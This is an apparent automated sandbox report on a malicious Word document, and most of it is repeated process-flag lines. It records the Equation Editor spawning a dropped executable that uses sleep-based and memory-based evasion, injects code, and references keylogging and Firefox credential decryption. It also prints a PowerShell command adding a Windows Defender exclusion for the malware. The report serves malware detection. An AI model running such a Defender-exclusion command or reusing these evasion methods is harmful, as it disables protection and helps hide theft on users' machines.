Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\obisfd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\obisfd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\obisfd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\obisfd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\obisfd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\obisfd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\obisfd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\obisfd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\obisfd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\obisfd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\obisfd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\obisfd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\obisfd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\obisfd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\obisfd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\obisfd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\obisfd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\obisfd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\obisfd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\obisfd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\obisfd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\obisfd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\obisfd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\obisfd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\obisfd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\obisfd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\obisfd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\obisfd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\obisfd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\obisfd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\obisfd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\obisfd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\obisfd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\obisfd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\obisfd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\obisfd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\obisfd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\obisfd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\obisfd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\obisfd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\obisfd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\obisfd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\obisfd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\obisfd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\obisfd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\obisfd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\obisfd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\obisfd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\obisfd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\obisfd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\obisfd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\obisfd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\obisfd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\obisfd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\obisfd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\obisfd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\obisfd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\obisfd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\obisfd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\obisfd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\obisfd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\obisfd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\obisfd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\obisfd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\obisfd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\obisfd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\obisfd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\obisfd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\obisfd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\obisfd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\obisfd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\obisfd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\obisfd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\obisfd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\obisfd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\obisfd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\obisfd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\obisfd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\obisfd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\obisfd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\obisfd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\obisfd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\obisfd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\obisfd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Allocates memory with a write watch (potentially for evading sandboxes)
Source: C:\Users\user\AppData\Roaming\obisfd.exe Memory allocated: 2C0000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Roaming\obisfd.exe Memory allocated: 27B0000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Roaming\obisfd.exe Memory allocated: 320000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Roaming\obisfd.exe Memory allocated: 5650000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Roaming\obisfd.exe Memory allocated: 6920000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Roaming\obisfd.exe Memory allocated: 6A50000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Roaming\obisfd.exe Memory allocated: 7A50000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Roaming\obisfd.exe Memory allocated: 300000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Roaming\obisfd.exe Memory allocated: 27B0000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Roaming\obisfd.exe Memory allocated: 360000 memory reserve | memory write watch Jump to behavior
Contains long sleeps (>= 3 min)
Source: C:\Users\user\AppData\Roaming\obisfd.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\AppData\Roaming\obisfd.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\AppData\Roaming\obisfd.exe Thread delayed: delay time: 600000 Jump to behavior
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 2358 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 5508 Jump to behavior
Source: C:\Users\user\AppData\Roaming\obisfd.exe Window / User API: threadDelayed 9678 Jump to behavior
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE TID: 3392 Thread sleep time: -180000s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Roaming\obisfd.exe TID: 3564 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3776 Thread sleep time: -120000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3780 Thread sleep time: -2767011611056431s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3676 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Roaming\obisfd.exe TID: 3760 Thread sleep time: -60000s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Roaming\obisfd.exe TID: 3800 Thread sleep time: -16602069666338586s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Roaming\obisfd.exe TID: 3800 Thread sleep time: -6600000s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Roaming\obisfd.exe TID: 3804 Thread sleep count: 114 > 30 Jump to behavior
Source: C:\Users\user\AppData\Roaming\obisfd.exe TID: 3804 Thread sleep count: 9678 > 30 Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE TID: 3880 Thread sleep time: -120000s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Roaming\obisfd.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\AppData\Roaming\obisfd.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\AppData\Roaming\obisfd.exe Thread delayed: delay time: 600000 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information queried: ProcessInformation Jump to behavior
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Source: C:\Users\user\AppData\Roaming\obisfd.exe Code function: 7_2_00309A4A LdrInitializeThunk,LdrInitializeThunk,LdrInitializeThunk,LdrInitializeThunk,LdrInitializeThunk, 7_2_00309A4A
Enables debug privileges
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process token adjusted: Debug Jump to behavior
Source: C:\Users\user\AppData\Roaming\obisfd.exe Process token adjusted: Debug Jump to behavior
Source: C:\Users\user\AppData\Roaming\obisfd.exe Memory allocated: page read and write | page guard Jump to behavior

HIPS / PFW / Operating System Protection Evasion
barindex
.NET source code references suspicious native API functions
Source: 5.2.obisfd.exe.3a205e0.5.raw.unpack, COVID19.cs Reference to suspicious API methods: MapVirtualKey(VKCode, 0u)
Source: 5.2.obisfd.exe.3a205e0.5.raw.unpack, FFDecryptor.cs Reference to suspicious API methods: Marshal.GetDelegateForFunctionPointer(GetProcAddress(hModule, method), typeof(T))
Source: 5.2.obisfd.exe.3a205e0.5.raw.unpack, FFDecryptor.cs Reference to suspicious API methods: hModuleList.Add(LoadLibrary(text21 + "\\mozglue.dll"))
Adds a directory exclusion to Windows Defender
Source: C:\Users\user\AppData\Roaming\obisfd.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\obisfd.exe"
Source: C:\Users\user\AppData\Roaming\obisfd.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\obisfd.exe" Jump to behavior
Injects a PE file into a foreign processes
Source: C:\Users\user\AppData\Roaming\obisfd.exe Memory written: C:\Users\user\AppData\Roaming\obisfd.exe base: 400000 value starts with: 4D5A Jump to behavior
Creates a process in suspended mode (likely to inject code)
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Users\user\AppData\Roaming\obisfd.exe "C:\Users\user\AppData\Roaming\obisfd.exe" Jump to behavior
